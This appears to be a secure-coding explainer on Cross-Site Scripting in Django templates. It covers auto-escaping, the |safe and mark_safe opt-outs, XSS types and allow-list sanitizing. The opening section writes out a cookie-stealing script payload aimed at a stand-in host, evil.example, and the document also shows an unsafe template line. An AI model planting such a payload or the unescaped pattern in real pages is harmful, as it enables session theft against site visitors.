Cross-Site Scripting is one of the oldest entries on the OWASP Top 10, and it keeps reappearing for a simple reason: the vulnerable code and the safe code look almost identical, and the difference only matters the moment untrusted input reaches the page.
What actually goes wrong
XSS happens when user-controlled input ends up in a page as raw HTML instead of as text. If a comment field lets someone submit <script>document.location='https://evil.example/steal?c='+document.cookie</script> and your template renders that comment without escaping it, every visitor who views that comment runs the attacker's script in their own browser, with their own session and cookies. The attacker didn't touch your server — they used your page as the delivery mechanism.
Why templating engines mostly save you
Django's template engine escapes variables by default. {{ comment.text }} converts < and > into < and > automatically, so a submitted <script> tag renders as visible text on the page instead of executing. The vulnerability shows up the moment someone opts out of this — usually with {{ comment.text|safe }} or mark_safe(), almost always because a legitimate feature (like letting users format text with basic HTML) needs raw markup to render.
# Safe by default - renders as visible text, not executable
{{ user_comment }}
# Dangerous - renders whatever HTML the user submitted, as-is
{{ user_comment|safe }}
The three flavors, briefly
Stored XSS is the comment-field example above — the payload lives in your database and fires for every subsequent visitor. Reflected XSS comes back in a response immediately, often through a search box or error message that echoes the query string back into the page. DOM-based XSS happens entirely in the browser, when client-side JavaScript takes something like location.hash and inserts it into the page with innerHTML instead of textContent.
If you genuinely need to allow some HTML
If users are supposed to submit formatted text — bold, links, lists — the fix isn't to trust the raw input, it's to sanitize it through an allow-list library (like bleach in Python) that strips anything not on a pre-approved list of tags and attributes, before it's ever marked safe and rendered.
Takeaway
Escaping is the default for a reason. Every |safe, mark_safe(), or innerHTML assignment is a place where that default was deliberately turned off, which makes it exactly the kind of line worth a second look during review — and exactly what a scanner should flag automatically instead of relying on someone remembering to check.